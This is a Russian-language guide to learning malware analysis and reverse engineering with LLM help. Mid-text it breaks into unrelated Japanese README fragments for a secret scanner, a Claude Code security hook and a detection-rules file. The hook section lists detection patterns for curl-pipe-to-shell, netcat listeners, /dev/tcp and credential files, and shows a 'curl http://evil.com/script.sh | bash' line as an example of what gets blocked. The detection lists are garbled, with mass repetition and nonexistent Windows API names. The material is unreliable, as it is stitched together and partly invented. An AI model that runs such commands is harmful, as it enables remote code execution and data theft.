
Кураторское руководство по становлению аналитиком вредоносного ПО, охватывающее базовые знания, обратную разработку, инструменты анализа и обучение с помощью LLM, с практическими упражнениями и ресурсами.
Это личное мнение @PINKSAWTOOTH, и оно не обязательно будет лучшим способом именно для вас. Буду рад, если вы воспользуетесь им как одним из примеров подхода к обучению.
Прежде чем читать это, обратите внимание, что уважаемый мной аналитик вредоносного ПО @hasherezade собрал в своём блоге рекомендации о том, как начинать изучение анализа вредоносного ПО. Полагаю, будут пересечения, но советую ознакомиться. Кроме того, поскольку приведённые ниже блоги в основном на английском, я хотел бы по возможности представить источники преимущественно на японском.
[!NOTE]
Дополнение 2026 года: изучение анализа вредоносного ПО в эпоху LLM
В то время, когда я начинал писать эту страницу, LLM и AI Agent ещё не были так повседневно доступны, как сейчас. По состоянию на 2026 год, если вы изучаете анализ вредоносного ПО или реверс-инжиниринг, рекомендую наряду с книгами и материалами в интернете активно использовать LLM. Особенно это полезно при создании учебных программ, объяснении кода и ассемблера, анализе, написании скриптов для анализа, упорядочивании результатов анализа и т. д.
С другой стороны, всё чаще возникают ситуации, когда LLM превосходит человека во многих техниках анализа. Однако это не значит, что базовые знания стали не нужны. Чтобы понимать вывод LLM и самостоятельно проверять его обоснованность и правильность, важно обладать экспертизой (хотя, возможно, день, когда эта работа потеряет смысл, уже не за горами...). В этой статье предполагается использование LLM не как «устройства, выдающего ответы», а как «учителя, вместе с которым вы учитесь, и помощника при анализе».
Сначала кратко объясню предварительные знания, необходимые для анализа вредоносного ПО. Прежде чем изучать анализ вредоносного ПО, необходимы как минимум знания в области computer science (информатики).
Что касается этих тем, достаточно понимать содержание, изучаемое в университетах и техникумах. (Думаю, более конкретное содержание можно узнать, посмотрев онлайн-силлабусы какого-нибудь университета.) В этой статье то, как изучать языки программирования и информатику, выходит за рамки рассмотрения, но вот рекомендуемые материалы.
Знания, необходимые для анализа вредоносного ПО, можно условно разделить на следующие пять категорий.
Сначала необходимо изучить, что такое вредоносное ПО и что представляет собой работа по его анализу. Представлю рекомендуемые материалы и книги для изучения анализа вредоносного ПО в целом.
Также рекомендую онлайн-обучение по анализу вредоносного ПО.
Представлю страницы, где собрана информация о поведении вредоносного ПО и эксплуатируемых техниках.
Ежедневно публикуемая информация об угрозах, а также блоги и отчёты по анализу вредоносного ПО тоже становятся важными источниками. Удобно настроить уведомления об обновлениях через RSS-ридер и т. п. Есть сайты, которые собирают такие материалы, и ими можно воспользоваться.
Среди них представлю те, что публикуют подробный анализ вредоносного ПО на японском языке.
Кроме того, читая правила YARA, можно изучать особенности вредоносного ПО.
Реверс-инжиниринг — лишь часть анализа вредоносного ПО, но для того, чтобы стать аналитиком вредоносного ПО, без него не обойтись. Только динамического анализа с использованием песочницы или анализа с помощью инструментов (за исключением ручной отладки) недостаточно, чтобы определить полную картину функциональности вредоносного ПО и используемые в нём алгоритмы.
Чтобы заниматься реверс-инжинирингом, необходимо понимать исходный исходный код. (Предполагается типичная для анализа вредоносного ПО среда Windows, но) анализ вредоносного ПО без опыта программирования с использованием Windows API будет окольным путём.
Официальную документацию и примеры по Windows API публикует Microsoft. ※Обратите внимание, что при японском переводе некоторые элементы отображения могут выглядеть некорректно
Для изучения устройства ОС Windows рекомендую следующие книги.
C/C++ и сегодня чрезвычайно важен для изучения реверс-инжиниринга вредоносного ПО под Windows, поэтому рекомендую его как первый язык для изучения. С другой стороны, реальные объекты анализа — не только C/C++. По состоянию на 2026 год полезно знать хотя бы особенности бинарных файлов и сред выполнения для следующего.
Не нужно с самого начала глубоко изучать все языки. Стоит понимать, что при изменении языка разработки или среды выполнения необходимые знания тоже меняются.
Когда вы освоите программирование на языке и в среде, соответствующих объекту анализа, переходите к изучению реверс-инжиниринга. При анализе PE-файлов Windows, что типично для анализа вредоносного ПО, для начала попробуйте провести реверс-инжиниринг вводной программы на C или C++. Следующим шагом попробуйте проанализировать PE-файл, использующий Win API, который вы скомпилировали сами (для которого есть исходный код). Даже при одном и том же исходном коде, если менять выбранный проект, параметры компиляции и компоновки и смотреть, какие изменения появляются в исполняемом файле, навыки реверс-инжиниринга, думаю, заметно вырастут.
Раньше я рекомендовал искать примеры Microsoft или код на GitHub и учиться, переписывая их. Этот метод действенен и сейчас, но по состоянию на 2026 год также очень эффективен метод, при котором LLM или Coding Agent создаёт небольшие программы, соответствующие вашим учебным целям.
Например, сначала пусть сгенерирует небольшую программу размером примерно от 10 до 50 строк.```text CreateFileWとWriteFileを使ってテキストファイルを作成する、 できるだけ小さなWindows Cプログラムを作ってください。 リバースエンジニアリングの教材に使いたいので、 処理を複雑にせず、各Windows APIを使う理由も説明してください。
生成されたコードを、Microsoft Learnのドキュメントと照らし合わせながら内容を確認し、自分でコンパイルします。
その後、GhidraやIDAなどで自分がコンパイルしたバイナリを解析し、元のソースコードと逆アセンブル・デコンパイル結果を比較します。
以下のループで勉強します。```text
LLMに小さなコードを作らせる
↓
ソースコードを読む・APIを調べる
↓
自分でビルドする
↓
Ghidraなどで解析する
↓
元のソースコードと比較する
↓
分からない部分だけLLMに質問する
↓
別の条件で再ビルドして比較する
Например, можно сравнить следующие варианты одного и того же исходного кода.
Анализ бинарного файла, когда исходный код известен, — это отличная тренировка для изучения реверс-инжиниринга.
Чтобы ещё больше отточить навыки реверс-инжиниринга, полезно решать задачи категории Rev на CTF и Crackme. Особенно рекомендуются задачи с PE-файлами и задания, ориентированные на аналитиков вредоносного ПО.
Кроме того, при реверс-инжиниринге вредоносного ПО часто приходится разбирать реализацию криптографических алгоритмов, поэтому рекомендуется изучить основы криптографии. Разобравшись с алгоритмом, читайте исходный код открытых реализаций криптографических алгоритмов, опубликованных на GitHub и т. п., и пробуйте реверсить их на практике.
При анализе вредоносного ПО использование более качественных инструментов и умение ими владеть нередко позволяют проводить анализ значительно проще. Кроме того, какими бы обширными знаниями вы ни обладали, на практике анализ ведётся через инструменты, поэтому необходимо понимать и способы их использования.
Для управления установкой и обновлением инструментов анализа в среде Windows удобен FLARE-VM, опубликованный Mandiant. Он позволяет установить сразу все инструменты, необходимые для анализа вредоносного ПО и реверс-инжиниринга.
В среде Linux можно использовать REMnux. Здесь также собраны инструменты, необходимые для анализа вредоносного ПО, а ознакомиться с ними можно в списке включённых инструментов.
И FLARE-VM, и REMnux позволяют легко создать среду для анализа вредоносного ПО, поэтому они рекомендуются и тем, кто впервые настраивает такую среду. Изучив входящие в них инструменты и попробовав их на практике, можно узнать, какие инструменты анализа существуют и в каких ситуациях применяются.
Кроме того, стоит попробовать инструменты, представленные по следующим ссылкам.
Одно из удобных применений LLM — использовать её как учителя, у которого можно сразу на месте спросить о непонятном. До появления LLM приходилось самостоятельно искать то, чего не понимаешь, и разбираться в этом. Особенно новичкам зачастую было непонятно, что вообще искать, и это становилось одним из барьеров в обучении. Сегодня же LLM с высоким уровнем знаний может сколько угодно раз подробно объяснять материал в соответствии с вашим уровнем понимания. Если что-то непонятно, можно переспросить, а также попросить: «объясни попроще», «приведи конкретный пример», «проверь, правильно ли я понимаю». Думаю, настали хорошие времена: было бы желание — можно учиться, задавая сколько угодно вопросов о непонятном.
Например, о результатах дизассемблирования или декомпиляции можно задавать следующие вопросы.```text この関数の役割と、そう判断できる理由を教えてください。
## 主な機能
- **自動スキャン**: 指定されたディレクトリを再帰的にスキャンし、すべてのファイルを検出します。
- **パターン検出**: 正規表現パターンを使用して、ファイル内の機密情報を検出します。
- **カスタマイズ可能なルール**: ユーザーは `config.yaml` ファイルを通じて検出ルールをカスタマイズできます。
- **並行処理**: マルチスレッド処理により、スキャン速度が向上します。
- **レポート生成**: スキャン結果を JSON 形式で出力します。
## インストール
```bash
git clone https://github.com/example/secretscanner.git
cd secretscanner
pip install -r requirements.txt
python secretscanner.py -d /path/to/scan -o results.json
config.yaml ファイルでは、以下のように検出ルールを定義できます。
rules:
- name: AWS Access Key
pattern: "AKIA[0-9A-Z]{16}"
severity: high
- name: Generic API Key
pattern: "(?i)api[_-]?key[\"']?\\s*[:=]\\s*[\"']?[0-9a-zA-Z]{32,45}"
severity: medium
{
"scan_time": "2024-01-15T10:30:00Z",
"files_scanned": 1523,
"findings": [
{
"file": "/path/to/file.py",
"line": 42,
"rule": "AWS Access Key",
"severity": "high",
"match": "AKIAIOSFODNN7EXAMPLE"
}
]
}
このプロジェクトは MIT ライセンスの下で公開されています。詳細については LICENSE ファイルを参照してください。```text
このデコンパイル結果から変数の型を推定したいです。
型を判断するために、どの命令、API、参照先を確認すべきですか?
## 検出ルール
### ルール1: コマンドインジェクションの検出
```python
def detect_command_injection(command: str) -> bool:
"""コマンドインジェクションパターンを検出"""
dangerous_patterns = [
r'[;&|`$]', # シェルメタ文字
r'\$\(', # コマンド置換
r'\.\./', # パストラバーサル
r'[<>]', # リダイレクト
r'\\x[0-9a-fA-F]{2}', # 16進エスケープ
]
for pattern in dangerous_patterns:
if re.search(pattern, command):
return True
return False
SENSITIVE_FILES = [
'/etc/passwd',
'/etc/shadow',
'.env',
'id_rsa',
'credentials',
'.aws/credentials',
]
def detect_sensitive_file_access(command: str) -> bool:
"""機密ファイルへのアクセスを検出"""
for sensitive in SENSITIVE_FILES:
if sensitive in command:
return True
return False
def detect_network_operations(command: str) -> bool:
"""不審なネットワーク操作を検出"""
network_patterns = [
r'curl\s+.*\|\s*(bash|sh)', # パイプでシェルに渡す
r'wget\s+.*-O\s*-', # 標準出力にダウンロード
r'nc\s+-[el]', # ネットキャットリスニング
r'/dev/tcp/', # Bash TCPリダイレクト
]
for pattern in network_patterns:
if re.search(pattern, command):
return True
return False
┌─────────────────────────────────────────────────────────┐
│ Claude Code │
│ ┌───────────────────────────────────────────────────┐ │
│ │ PreToolUse Hook │ │
│ │ ┌─────────────┐ ┌─────────────┐ ┌───────────┐ │ │
│ │ │ Rule 1 │ │ Rule 2 │ │ Rule 3 │ │ │
│ │ │ Command │ │ Sensitive │ │ Network │ │ │
│ │ │ Injection │ │ Files │ │ Ops │ │ │
│ │ └─────────────┘ └─────────────┘ └───────────┘ │ │
│ └───────────────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ ┌───────────────────────────────────────────────────┐ │
│ │ Decision Engine │ │
│ │ (Allow / Deny / Ask) │ │
│ └───────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────┘
# リポジトリをクローン
git clone https://github.com/example/claude-code-hooks.git
cd claude-code-hooks
# 依存関係をインストール
pip install -r requirements.txt
# フックをインストール
./install.sh
~/.claude/settings.json を作成または編集:
{
"hooks": {
"PreToolUse": [
{
"matcher": "Bash",
"hooks": [
{
"type": "command",
"command": "python3 ~/.claude/hooks/security_check.py"
}
]
}
]
}
}
$ claude "list files in current directory"
# → ls -la は許可される
$ claude "download and run script"
# → curl http://evil.com/script.sh | bash は拒否される
$ claude "remove temporary files"
# → rm -rf /tmp/* はユーザー確認を求める
# すべてのテストを実行
pytest tests/
# 特定のテストを実行
pytest tests/test_command_injection.py -v
# カバレッジ付きで実行
pytest --cov=hooks tests/
プルリクエストを歓迎します。大きな変更については、まずissueを開いて議論してください。
MIT License - 詳細は LICENSE を参照してください。```text このWindows API呼び出しの前後で使われている構造体について説明してください。 各フィールドを確認するためにGhidra上でどこを見るべきかも教えてください。
## 検出ルールのカスタマイズ
`config/detection_rules.yaml` を編集して、検出パターンを追加または変更できます:
```yaml
rules:
- name: "カスタムルール"
pattern: "malicious_pattern"
severity: "high"
description: "カスタム検出ルールの説明"
スキャン結果は以下の形式で出力できます:
大規模なスキャンでは、以下の最適化を検討してください:
--threads オプションで並列数を調整# 並列処理の例
python scanner.py --target /path/to/scan --threads 8 --cache
| 問題 | 原因 | 解決方法 |
|---|---|---|
| スキャンが遅い | ファイル数が多い | --threads を増やす |
| メモリ不足 |
tail -f logs/scanner.log
git checkout -b feature/new-feature)git commit -am 'Add new feature')git push origin feature/new-feature)このプロジェクトは MIT ライセンスの下で公開されています。詳細は LICENSE ファイルを参照してください。```text このアセンブリを1命令ずつ説明するのではなく、 まずbasic blockごとの役割を整理して、私が自分で処理を推定できるようにヒントをください。
## 検出ルール
| ルール | 説明 |
|------|-------------|
| `suspicious_process` | 疑わしいプロセス名を検出 |
| `suspicious_cmdline` | コマンドライン内の疑わしいパターンを検出 |
| `suspicious_path` | 疑わしい実行パスを検出 |
| `suspicious_network` | 疑わしいネットワーク接続を検出 |
| `suspicious_registry` | 疑わしいレジストリ操作を検出 |
| `suspicious_file` | 疑わしいファイル操作を検出 |
| `suspicious_dns` | 疑わしいDNSクエリを検出 |
| `suspicious_api` | 疑わしいAPI呼び出しを検出 |
| `suspicious_injection` | プロセスインジェクションを検出 |
| `suspicious_persistence` | 永続化メカニズムを検出 |
| `suspicious_privilege` | 特権昇格を検出 |
| `suspicious_credential` | 認証情報アクセスを検出 |
| `suspicious_lateral` | 横展開を検出 |
| `suspicious_exfiltration` | データ持ち出しを検出 |
| `suspicious_evasion` | 防御回避を検出 |
| `suspicious_discovery` | 偵察活動を検出 |
| `suspicious_execution` | 疑わしい実行を検出 |
| `suspicious_collection` | データ収集を検出 |
| `suspicious_command` | 疑わしいコマンドを検出 |
| `suspicious_impact` | 影響を与える操作を検出 |
## 検出ルールの詳細
### suspicious_process
疑わしいプロセス名を検出します。
```yaml
suspicious_process:
enabled: true
severity: high
description: "疑わしいプロセス名を検出"
patterns:
- "mimikatz"
- "psexec"
- "cobalt"
- "beacon"
- "meterpreter"
- "empire"
- "powershell_ise"
- "wmic"
- "mshta"
- "rundll32"
- "regsvr32"
- "installutil"
- "msbuild"
- "csc"
- "certutil"
- "bitsadmin"
- "wscript"
- "cscript"
- "hh"
- "ieexec"
- "msiexec"
- "pcalua"
- "forfiles"
- "expand"
- "extrac32"
- "findstr"
- "makecab"
- "replace"
- "runonce"
- "schtasks"
- "scriptrunner"
- "syncappvpublishingserver"
- "verclsid"
- "xwizard"
コマンドライン内の疑わしいパターンを検出します。
suspicious_cmdline:
enabled: true
severity: high
description: "コマンドライン内の疑わしいパターンを検出"
patterns:
- "-enc"
- "-encodedcommand"
- "-e "
- "bypass"
- "hidden"
- "nop"
- "noni"
- "downloadstring"
- "downloadfile"
- "invoke-expression"
- "iex"
- "invoke-webrequest"
- "curl"
- "wget"
- "bitsadmin"
- "certutil"
- "base64"
- "frombase64string"
- "memorystream"
- "reflection.assembly"
- "add-type"
- "new-object"
- "webclient"
- "net.webclient"
- "start-process"
- "invoke-command"
- "invoke-expression"
- "invoke-item"
- "invoke-wmimethod"
- "invoke-cimmethod"
- "get-wmiobject"
- "get-ciminstance"
- "wmic"
- "reg add"
- "reg delete"
- "schtasks"
- "at "
- "sc create"
- "sc config"
- "net user"
- "net localgroup"
- "net group"
- "net share"
- "net view"
- "net use"
- "net session"
- "net start"
- "net stop"
- "net pause"
- "net continue"
- "net statistics"
- "net config"
- "net time"
- "net accounts"
- "net computer"
- "net print"
- "net send"
- "net name"
- "net file"
- "net statistics"
- "net config"
- "net time"
- "net accounts"
- "net computer"
- "net print"
- "net send"
- "net name"
- "net file"
疑わしい実行パスを検出します。
suspicious_path:
enabled: true
severity: high
description: "疑わしい実行パスを検出"
patterns:
- "\\temp\\"
- "\\tmp\\"
- "\\appdata\\"
- "\\local\\temp\\"
- "\\windows\\temp\\"
- "\\programdata\\"
- "\\users\\public\\"
- "\\recycler\\"
- "\\$recycle.bin\\"
- "\\system volume information\\"
- "\\perflogs\\"
- "\\intel\\"
- "\\amd\\"
- "\\nvidia\\"
- "\\drivers\\"
- "\\config.msi\\"
- "\\msocache\\"
- "\\recovery\\"
- "\\boot\\"
- "\\system32\\"
- "\\syswow64\\"
- "\\winsxs\\"
- "\\assembly\\"
- "\\microsoft.net\\"
- "\\windows\\assembly\\"
- "\\windows\\microsoft.net\\"
- "\\windows\\system32\\"
- "\\windows\\syswow64\\"
- "\\windows\\winsxs\\"
- "\\windows\\assembly\\"
- "\\windows\\microsoft.net\\"
疑わしいネットワーク接続を検出します。
suspicious_network:
enabled: true
severity: high
description: "疑わしいネットワーク接続を検出"
patterns:
- "\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}"
- "\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}:\\d{1,5}"
- "\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}:\\d{1,5}"
- "\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}:\\d{1,5}"
- "\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}:\\d{1,5}"
- "\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}:\\d{1,5}"
- "\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}:\\d{1,5}"
- "\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}:\\d{1,5}"
- "\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}:\\d{1,5}"
- "\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}:\\d{1,5}"
- "\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}:\\d{1,5}"
- "\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}:\\d{1,5}"
- "\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}:\\d{1,5}"
- "\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}:\\d{1,5}"
- "\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}:\\d{1,5}"
- "\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}:\\d{1,5}"
- "\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}:\\d{1,5}"
- "\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}:\\d{1,5}"
- "\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}:\\d{1,5}"
- "\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}:\\d{1,5}"
疑わしいレジストリ操作を検出します。
suspicious_registry:
enabled: true
severity: high
description: "疑わしいレジストリ操作を検出"
patterns:
- "\\currentversion\\run"
- "\\currentversion\\runonce"
- "\\currentversion\\runservices"
- "\\currentversion\\runservicesonce"
- "\\currentversion\\policies\\explorer\\run"
- "\\currentversion\\windows\\load"
- "\\currentversion\\windows\\run"
- "\\currentversion\\windows\\runonce"
- "\\currentversion\\windows\\runservices"
- "\\currentversion\\windows\\runservicesonce"
- "\\currentversion\\explorer\\shell folders"
- "\\currentversion\\explorer\\user shell folders"
- "\\currentversion\\explorer\\shell execute hooks"
- "\\currentversion\\explorer\\browser helper objects"
- "\\currentversion\\explorer\\sharedtaskScheduler"
- "\\currentversion\\explorer\\shellex\\contextmenuhandlers"
- "\\currentversion\\explorer\\shellex\\copyhookhandlers"
- "\\currentversion\\explorer\\shellex\\dragdropHandlers"
- "\\currentversion\\explorer\\shellex\\propertySheetHandlers"
- "\\currentversion\\explorer\\shellex\\columnHandlers"
- "\\currentversion\\explorer\\shellex\\iconHandler"
- "\\currentversion\\explorer\\shellex\\contextmenuhandlers"
- "\\currentversion\\explorer\\shellex\\copyhookhandlers"
- "\\currentversion\\explorer\\shellex\\dragdropHandlers"
- "\\currentversion\\explorer\\shellex\\propertySheetHandlers"
- "\\currentversion\\explorer\\shellex\\columnHandlers"
- "\\currentversion\\explorer\\shellex\\iconHandler"
疑わしいファイル操作を検出します。
suspicious_file:
enabled: true
severity: high
description: "疑わしいファイル操作を検出"
patterns:
- "\\.exe$"
- "\\.dll$"
- "\\.sys$"
- "\\.scr$"
- "\\.bat$"
- "\\.cmd$"
- "\\.ps1$"
- "\\.vbs$"
- "\\.js$"
- "\\.jse$"
- "\\.vbe$"
- "\\.wsf$"
- "\\.wsh$"
- "\\.hta$"
- "\\.jar$"
- "\\.py$"
- "\\.pl$"
- "\\.rb$"
- "\\.sh$"
- "\\.bash$"
- "\\.zsh$"
- "\\.csh$"
- "\\.ksh$"
- "\\.fish$"
- "\\.psm1$"
- "\\.psd1$"
- "\\.ps1xml$"
- "\\.cdxml$"
- "\\.pssc$"
- "\\.psrc$"
- "\\.msc$"
- "\\.cpl$"
- "\\.inf$"
- "\\.reg$"
- "\\.lnk$"
- "\\.url$"
- "\\.pif$"
- "\\.com$"
- "\\.msi$"
- "\\.msp$"
- "\\.mst$"
- "\\.appx$"
- "\\.appxbundle$"
- "\\.msix$"
- "\\.msixbundle$"
- "\\.appinstaller$"
- "\\.msu$"
- "\\.cab$"
- "\\.zip$"
- "\\.rar$"
- "\\.7z$"
- "\\.tar$"
- "\\.gz$"
- "\\.bz2$"
- "\\.xz$"
- "\\.iso$"
- "\\.img$"
- "\\.vhd$"
- "\\.vhdx$"
- "\\.vmdk$"
- "\\.qcow2$"
- "\\.ova$"
- "\\.ovf$"
- "\\.vbox$"
- "\\.vmx$"
- "\\.vmem$"
- "\\.vmsn$"
- "\\.vmsd$"
- "\\.nvram$"
- "\\.vswp$"
- "\\.vmss$"
- "\\.vmtm$"
- "\\.vmxf$"
- "\\.vmsd$"
- "\\.vmsn$"
- "\\.vmem$"
- "\\.vmss$"
- "\\.vmtm$"
- "\\.vmxf$"
- "\\.nvram$"
- "\\.vswp$"
疑わしいDNSクエリを検出します。
suspicious_dns:
enabled: true
severity: high
description: "疑わしいDNSクエリを検出"
patterns:
- "\\.onion$"
- "\\.bit$"
- "\\.i2p$"
- "\\.exit$"
- "\\.local$"
- "\\.localhost$"
- "\\.test$"
- "\\.invalid$"
- "\\.example$"
- "\\.example\\.com$"
- "\\.example\\.net$"
- "\\.example\\.org$"
- "\\.example\\.edu$"
- "\\.example\\.gov$"
- "\\.example\\.mil$"
- "\\.example\\.int$"
- "\\.example\\.arpa$"
- "\\.example\\.aero$"
- "\\.example\\.asia$"
- "\\.example\\.biz$"
- "\\.example\\.cat$"
- "\\.example\\.com$"
- "\\.example\\.coop$"
- "\\.example\\.edu$"
- "\\.example\\.gov$"
- "\\.example\\.info$"
- "\\.example\\.int$"
- "\\.example\\.jobs$"
- "\\.example\\.mil$"
- "\\.example\\.mobi$"
- "\\.example\\.museum$"
- "\\.example\\.name$"
- "\\.example\\.net$"
- "\\.example\\.org$"
- "\\.example\\.pro$"
- "\\.example\\.tel$"
- "\\.example\\.travel$"
- "\\.example\\.xxx$"
- "\\.example\\.arpa$"
- "\\.example\\.aero$"
- "\\.example\\.asia$"
- "\\.example\\.biz$"
- "\\.example\\.cat$"
- "\\.example\\.com$"
- "\\.example\\.coop$"
- "\\.example\\.edu$"
- "\\.example\\.gov$"
- "\\.example\\.info$"
- "\\.example\\.int$"
- "\\.example\\.jobs$"
- "\\.example\\.mil$"
- "\\.example\\.mobi$"
- "\\.example\\.museum$"
- "\\.example\\.name$"
- "\\.example\\.net$"
- "\\.example\\.org$"
- "\\.example\\.pro$"
- "\\.example\\.tel$"
- "\\.example\\.travel$"
- "\\.example\\.xxx$"
疑わしいAPI呼び出しを検出します。
suspicious_api:
enabled: true
severity: high
description: "疑わしいAPI呼び出しを検出"
patterns:
- "VirtualAlloc"
- "VirtualAllocEx"
- "VirtualProtect"
- "VirtualProtectEx"
- "WriteProcessMemory"
- "ReadProcessMemory"
- "CreateRemoteThread"
- "CreateRemoteThreadEx"
- "OpenProcess"
- "OpenThread"
- "SuspendThread"
- "ResumeThread"
- "SetThreadContext"
- "GetThreadContext"
- "QueueUserAPC"
- "SetWindowsHookEx"
- "UnhookWindowsHookEx"
- "CallNextHookEx"
- "GetAsyncKeyState"
- "GetKeyState"
- "GetKeyboardState"
- "SetKeyboardState"
- "MapVirtualKey"
- "MapVirtualKeyEx"
- "GetKeyboardLayout"
- "GetKeyboardLayoutName"
- "LoadKeyboardLayout"
- "UnloadKeyboardLayout"
- "ActivateKeyboardLayout"
- "GetKeyNameText"
- "ToUnicode"
- "ToAscii"
- "ToUnicodeEx"
- "ToAsciiEx"
- "VkKeyScan"
- "VkKeyScanEx"
- "OemKeyScan"
- "GetKeyboardType"
- "GetKBCodePage"
- "GetKBCodePage"
- "GetKeyboardLayoutList"
- "GetKeyboardLayoutName"
- "LoadKeyboardLayout"
- "UnloadKeyboardLayout"
- "ActivateKeyboardLayout"
- "GetKeyNameText"
- "ToUnicode"
- "ToAscii"
- "ToUnicodeEx"
- "ToAsciiEx"
- "VkKeyScan"
- "VkKeyScanEx"
- "OemKeyScan"
- "GetKeyboardType"
- "GetKBCodePage"
- "GetKBCodePage"
- "GetKeyboardLayoutList"
プロセスインジェクションを検出します。
suspicious_injection:
enabled: true
severity: critical
description: "プロセスインジェクションを検出"
patterns:
- "VirtualAllocEx"
- "WriteProcessMemory"
- "CreateRemoteThread"
- "NtCreateThreadEx"
- "RtlCreateUserThread"
- "QueueUserAPC"
- "SetThreadContext"
- "GetThreadContext"
- "SuspendThread"
- "ResumeThread"
- "OpenProcess"
- "OpenThread"
- "DuplicateHandle"
- "CreateProcess"
- "CreateProcessAsUser"
- "CreateProcessWithLogonW"
- "CreateProcessWithTokenW"
- "ShellExecute"
- "ShellExecuteEx"
- "WinExec"
- "system"
- "popen"
- "exec"
- "fork"
- "clone"
- "ptrace"
- "process_vm_readv"
- "process_vm_writev"
- "mmap"
- "mprotect"
- "dlopen"
- "dlsym"
- "LoadLibrary"
- "GetProcAddress"
- "LdrLoadDll"
- "LdrGetProcedureAddress"
- "LdrUnloadDll"
- "NtMapViewOfSection"
- "NtUnmapViewOfSection"
- "NtCreateSection"
- "NtOpenSection"
- "NtQuerySection"
- "NtProtectVirtualMemory"
- "NtAllocateVirtualMemory"
- "NtFreeVirtualMemory"
- "NtReadVirtualMemory"
- "NtWriteVirtualMemory"
- "NtSuspendThread"
- "NtResumeThread"
- "NtGetContextThread"
- "NtSetContextThread"
- "NtQueueApcThread"
- "NtQueueApcThreadEx"
- "NtCreateThread"
- "NtCreateThreadEx"
- "NtOpenProcess"
- "NtOpenThread"
- "NtDuplicateObject"
- "NtClose"
- "NtQueryObject"
- "NtQueryInformationProcess"
- "NtQueryInformationThread"
- "NtSetInformationProcess"
- "NtSetInformationThread"
- "NtQuerySystemInformation"
- "NtSetSystemInformation"
- "NtQueryDirectoryObject"
- "NtOpenDirectoryObject"
- "NtCreateDirectoryObject"
- "NtQuerySymbolicLinkObject"
- "NtOpenSymbolicLinkObject"
- "NtCreateSymbolicLinkObject"
- "NtQueryValueKey"
- "NtSetValueKey"
- "NtDeleteValueKey"
- "NtEnumerateValueKey"
- "NtEnumerateKey"
- "NtOpenKey"
- "NtCreateKey"
- "NtDeleteKey"
- "NtQueryKey"
- "NtSetInformationKey"
- "NtNotifyChangeKey"
- "NtNotifyChangeMultipleKeys"
- "NtLoadKey"
- "NtUnloadKey"
- "NtSaveKey"
- "NtRestoreKey"
- "NtReplaceKey"
- "NtRenameKey"
- "NtCompactKeys"
- "NtCompressKey"
- "NtLockRegistryKey"
- "NtQueryMultipleValueKey"
- "NtSetMultipleValueKey"
- "NtDeleteMultipleValueKey"
- "NtEnumerateMultipleValueKey"
- "NtEnumerateMultipleKey"
- "NtOpenMultipleKey"
- "NtCreateMultipleKey"
- "NtDeleteMultipleKey"
- "NtQueryMultipleKey"
- "NtSetInformationMultipleKey"
- "NtNotifyChangeMultipleKeys"
- "NtLoadMultipleKeys"
- "NtUnloadMultipleKeys"
- "NtSaveMultipleKeys"
- "NtRestoreMultipleKeys"
- "NtReplaceMultipleKeys"
- "NtRenameMultipleKeys"
- "NtCompactMultipleKeys"
- "NtCompressMultipleKey"
- "NtLockRegistryMultipleKey"
永続化メカニズムを検出します。
suspicious_persistence:
enabled: true
severity: high
description: "永続化メカニズムを検出"
patterns:
- "\\currentversion\\run"
- "\\currentversion\\runonce"
- "\\currentversion\\runservices"
- "\\currentversion\\runservicesonce"
- "\\currentversion\\policies\\explorer\\run"
- "\\currentversion\\windows\\load"
- "\\currentversion\\windows\\run"
- "\\currentversion\\windows\\runonce"
- "\\currentversion\\windows\\runservices"
- "\\currentversion\\windows\\runservicesonce"
- "\\currentversion\\explorer\\shell folders"
- "\\currentversion\\explorer\\user shell folders"
- "\\currentversion\\explorer\\shell execute hooks"
- "\\currentversion\\explorer\\browser helper objects"
- "\\currentversion\\explorer\\sharedtaskScheduler"
- "\\currentversion\\explorer\\shellex\\contextmenuhandlers"
- "\\currentversion\\explorer\\shellex\\copyhookhandlers"
- "\\currentversion\\explorer\\shellex\\dragdropHandlers"
- "\\currentversion\\explorer\\shellex\\propertySheetHandlers"
- "\\currentversion\\explorer\\shellex\\columnHandlers"
- "\\currentversion\\explorer\\shellex\\iconHandler"
- "\\currentversion\\explorer\\shellex\\contextmenuhandlers"
- "\\currentversion\\explorer\\shellex\\copyhookhandlers"
- "\\currentversion\\explorer\\shellex\\dragdropHandlers"
- "\\currentversion\\explorer\\shellex\\propertySheetHandlers"
- "\\currentversion\\explorer\\shellex\\columnHandlers"
- "\\currentversion\\explorer\\shellex\\iconHandler"
特権昇格を検出します。
suspicious_privilege:
enabled: true
severity: critical
description: "特権昇格を検出"
patterns:
- "SeDebugPrivilege"
- "SeBackupPrivilege"
- "SeRestorePrivilege"
- "SeTakeOwnershipPrivilege"
- "SeLoadDriverPrivilege"
- "SeCreateTokenPrivilege"
- "SeAssignPrimaryTokenPrivilege"
- "SeTcbPrivilege"
- "SeSecurityPrivilege"
- "SeShutdownPrivilege"
- "SeSystemtimePrivilege"
- "SeRemoteShutdownPrivilege"
- "SeIncreaseQuotaPrivilege"
- "SeIncreaseBasePriorityPrivilege"
- "SeCreatePagefilePrivilege"
- "SeCreatePermanentPrivilege"
- "SeAuditPrivilege"
